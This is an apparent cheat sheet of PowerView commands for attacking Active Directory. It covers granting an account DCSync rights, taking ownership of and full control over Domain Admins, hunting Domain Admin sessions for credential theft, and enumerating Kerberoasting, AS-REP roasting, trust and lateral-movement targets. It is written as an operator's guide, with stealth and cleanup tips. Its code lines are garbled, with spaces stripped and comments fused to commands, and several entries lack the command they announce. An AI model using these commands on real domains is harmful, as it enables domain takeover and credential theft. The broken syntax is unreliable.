Add-DomainGroupMember adds a principal to a group over LDAP, and when you hold write access to the membership of a privileged group (for example via an abusable GenericAll/WriteMembers ACE) this promotes a controlled account straight into Domain Admins. This is a loud, high-impact change that should be reverted with Remove-DomainGroupMember after the objective; it is often paired with -Credential to act as the principal that actually holds the right.
Command Reference:
Username: john
Target group: Domain Admins
Add-DomainObjectAcl grants an ACE on a target object to a principal you control. Targeting the domain head with -Rights DCSync adds the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights, letting your account replicate secrets (a DCSync attack) without being a Domain Admin. This requires that your current context can already write the domain object's DACL (e.g. WriteDacl on the domain), and it is a durable backdoor that should be cleaned up with Remove-DomainObjectAcl.
Command Reference:
Principal granted rights: john
Domain: test.local
Import-Module.\PowerView.ps1# Grant john DCSync replication rights on the domain objectAdd-DomainObjectAcl-TargetIdentity'DC=test,DC=local'-PrincipalIdentityjohn-RightsDCSync-Verbose
Get-DomainUser -PreauthNotRequired finds accounts with the DONT_REQ_PREAUTH flag (userAccountControl bit 0x400000), which are AS-REP roastable because a DC will return an encrypted AS-REP without prior authentication. Use it to identify targets whose AS-REP hash you can then crack offline. This is an LDAP read only; the actual roast is performed with a separate tool such as Rubeus or GetNPUsers.
Command Reference:
Domain: test.local
Get-DomainTrust enumerates the trust relationships of the current (or a specified) domain, while Get-ForestTrust returns forest-level (inter-forest) trusts. Reading trust direction, transitivity, and SID-filtering state is the first step in planning cross-domain and cross-forest attacks such as foreign group membership abuse or trust-key based ticket forging. Get-DomainTrustMapping walks reachable domains recursively to build the full trust graph.
Command Reference:
Domain: test.local
Import-Module.\PowerView.ps1# Trusts of the current domainGet-DomainTrust# Forest / inter-forest trustsGet-ForestTrust# Recursively map every reachable trustGet-DomainTrustMapping
Find-LocalAdminAccess queries the domain for all computers and then, using the OpenServiceControlManager check, tests each one to see whether the current user context has local administrator access. It is the fastest way to discover where your foothold account can already move laterally without cracking anything. The SCM probes generate authentication traffic to many hosts, so it is not stealthy on a monitored network.
Command Reference:
Domain: test.local
Output file: output.txt
Get-DomainObjectAcl returns the raw DACL for a single object so you can confirm exactly which principals hold which rights over a specific user, group, computer, or the domain head. Pair -Identity with -ResolveGUIDs to expand extended rights such as DS-Replication-Get-Changes (DCSync) or User-Force-Change-Password. This is the targeted follow-up to Find-InterestingDomainAcl when you already know the object you want to attack.
Command Reference:
Target object: Domain Admins
Domain: test.local
Get-DomainGPO enumerates every Group Policy Object in the domain, and Get-DomainGPOLocalGroup parses GPOs that use Restricted Groups or Group Policy Preferences to set local group membership (for example local Administrators). Get-DomainGPOUserLocalGroupMapping then resolves which machines a given user or group ends up as local admin on through those GPOs. Together they map the GPO-to-local-admin relationships needed for lateral movement and for finding GPOs worth abusing.
Command Reference:
Username: john
Domain: test.local
Import-Module.\PowerView.ps1# All GPOs in the domainGet-DomainGPO-Propertiesdisplayname,name# GPOs that modify local group membershipGet-DomainGPOLocalGroup# Where does 'john' become a local Administrator via GPO?Get-DomainGPOUserLocalGroupMapping-Identityjohn-LocalGroupAdministrators
Find-InterestingDomainAcl surfaces ACEs across the domain that grant modification rights (GenericAll, GenericWrite, WriteDacl, WriteOwner, ResetPassword, etc.) to non-built-in principals, which are the ACL-based privilege escalation paths. The -ResolveGUIDs switch translates extended-right and property-set object GUIDs into human-readable names so DCSync and ForceChangePassword rights are legible. Filtering the output to your controlled principals quickly reveals abusable edges.
Command Reference:
Username: john
Invoke-UserHunter finds machines where a target user (or members of a target group such as Domain Admins) is logged in or has an active session, by combining Get-NetSession, Get-NetLoggedon, and Get-NetComputer across the domain. Adding -CheckAccess also reports whether you already have local admin on the hosts where the target is present, marking immediate credential-theft opportunities. Use -Stealth to only query high-value session hosts (DCs, file servers) and reduce noise.
Command Reference:
Target group: Domain Admins
Import-Module.\PowerView.ps1# Hunt for any Domain Admin session, flag where we already have adminInvoke-UserHunter-GroupName'Domain Admins'-CheckAccess# Quieter variant: only query likely session hostsInvoke-UserHunter-GroupName'Domain Admins'-Stealth
PowerView's Get-DomainUser -SPN enumerates domain user accounts that have a servicePrincipalName set, which are the candidates for Kerberoasting. Run it from an existing domain-joined foothold shell to build a target list before requesting service tickets. It only queries LDAP and does not request any TGS, so it is quiet on its own; the noisy step is the later roast.
Command Reference:
Domain: test.local
Output file: output.txt
# Import PowerView into the current session firstImport-Module.\PowerView.ps1# List every account with an SPN (kerberoastable)Get-DomainUser-SPN-Propertiessamaccountname,serviceprincipalname|Out-Fileoutput.txt
Set-DomainObjectOwner changes the owner of an AD object to a principal you control. When you hold WriteOwner over a target, taking ownership lets you then write its DACL (via Add-DomainObjectAcl) and grant yourself full control, chaining a limited ACE into complete object takeover. This is the classic first step of a WriteOwner-to-GenericAll escalation against a privileged group or user.
Command Reference:
New owner: john
Target object: Domain Admins
Import-Module.\PowerView.ps1# Take ownership of the target, then we can rewrite its DACLSet-DomainObjectOwner-Identity'Domain Admins'-OwnerIdentityjohn-VerboseAdd-DomainObjectAcl-TargetIdentity'Domain Admins'-PrincipalIdentityjohn-RightsAll